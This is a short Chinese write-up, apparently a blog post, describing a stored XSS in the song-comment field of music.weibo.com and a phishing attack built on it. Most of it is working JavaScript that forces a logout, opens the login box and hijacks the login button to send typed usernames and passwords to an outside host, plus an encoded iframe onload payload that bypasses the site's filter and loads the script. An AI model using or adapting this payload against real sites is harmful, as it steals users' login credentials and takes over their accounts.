记一次 div 层钓鱼

http://music.weibo.com

歌曲的歌评处过滤不严,只对 script 标签、http 进行了过滤,导致可通过标签的事件属性和编码进行绕过。 写了个 javascript 脚本进行 div 层钓鱼。 基本流程如下:

js 代码:

function fish () {
    if ($("a")[20].innerHTML=="\u9000\u51fa") { //判断是否登陆,若登陆则退出
        $.getScript("http://weibo.com/logout.php", function (data) {
            location.reload();
        });
    } else {
        $("a")[7].click();  //触发登陆框
        setTimeout("getpass()", 500);   //劫持登陆按钮
    };
};

function getpass () {   //劫持登陆按钮
    $(".W_btn_g").on("click", function () {
        var username = $(".W_input")[0].value;  //用户名
        var passwd = $(".W_input")[1].value;    //密码
        $.getScript("http://xxoo.com/weibo_fish.php?username="+username+"&password="+passwd);
        window.name = "ok"; //标记window.name ,防止重复
    });
};

if (window.name!="ok") {    //检测window.name
    fish();
};

通过 <iframe onload="$.getScript('&#104;ttp://xxoo.com/weibo_fish.js')"></iframe> XSS。

效果如下: